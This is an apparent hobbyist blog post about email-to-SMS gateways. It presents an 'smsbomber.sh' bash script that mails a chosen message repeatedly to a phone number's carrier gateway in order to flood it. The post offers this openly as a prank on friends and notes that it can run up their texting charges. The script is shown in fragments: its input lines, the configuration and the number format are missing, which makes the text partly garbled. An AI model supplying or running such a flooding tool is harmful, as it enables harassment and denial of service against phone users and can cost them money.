Gmail and SMS Gateway Fun
Due to the downturn in the economy, I found myself needing to save money by
downgrading my phone services. With no data service for my phone, I could no
longer get e-mail. In my search to get e-mail without a data plan, I found out
about SMS gateways. An SMS gateway is a device or service offering SMS transit,
transforming messages to mobile network traffic from other media or, vice versa,
allowing transmission or receipt of SMS messages with or without the use of a
mobile phone. With this, I could take my phone number @txt.att.net, forward my
e-mail to that address with some filters, and I get my email back. Then I
thought I could mess with my friends with an SMS denial-of-service. Remember,
if your friend doesn't have unlimited texts, this could add up fast.
So here's my setup. In Ubuntu 9.04:
sudo apt-get install ssmtp
Then 'nano /etc/ssmtp/ssmtp.conf' and add the following:
Copy the following script to a text file and name it 'smsbomber.sh':
Then do 'chmod 777 smsbomber.sh' to make it executable, and to run just
type './smsbomber.sh' remembering to enter the number in the format:
This isn't limited to AT&T, here are few other carriers get you started:
* Boost: firstname.lastname@example.org
* Verizon: email@example.com
* Virgin: firstname.lastname@example.org
* Alltel: email@example.com
Shouts to Debbie, Trinity, family, and friends.
echo Please, enter your number
echo Please, enter your short message
echo "Attacking $NUMBER"
echo Continue????? yes/no
if [ "$NEXT" = "no" ]; then
echo " Restarting"
elif [ "$NEXT" = "yes" ]; then
echo $MESSAGE > 1.txt
echo "How many sms messages to send" read SMS
echo "Number of seconds between messages"
until [ $SMS -le $COUNTER ]; do
cat 1.txt | mail -s "SMSBomber" $NUMBER
COUNTER=$(( $COUNTER + 1 ))
echo "Attack $COUNTER of $SMS"
echo "CRTL+C to call off attack"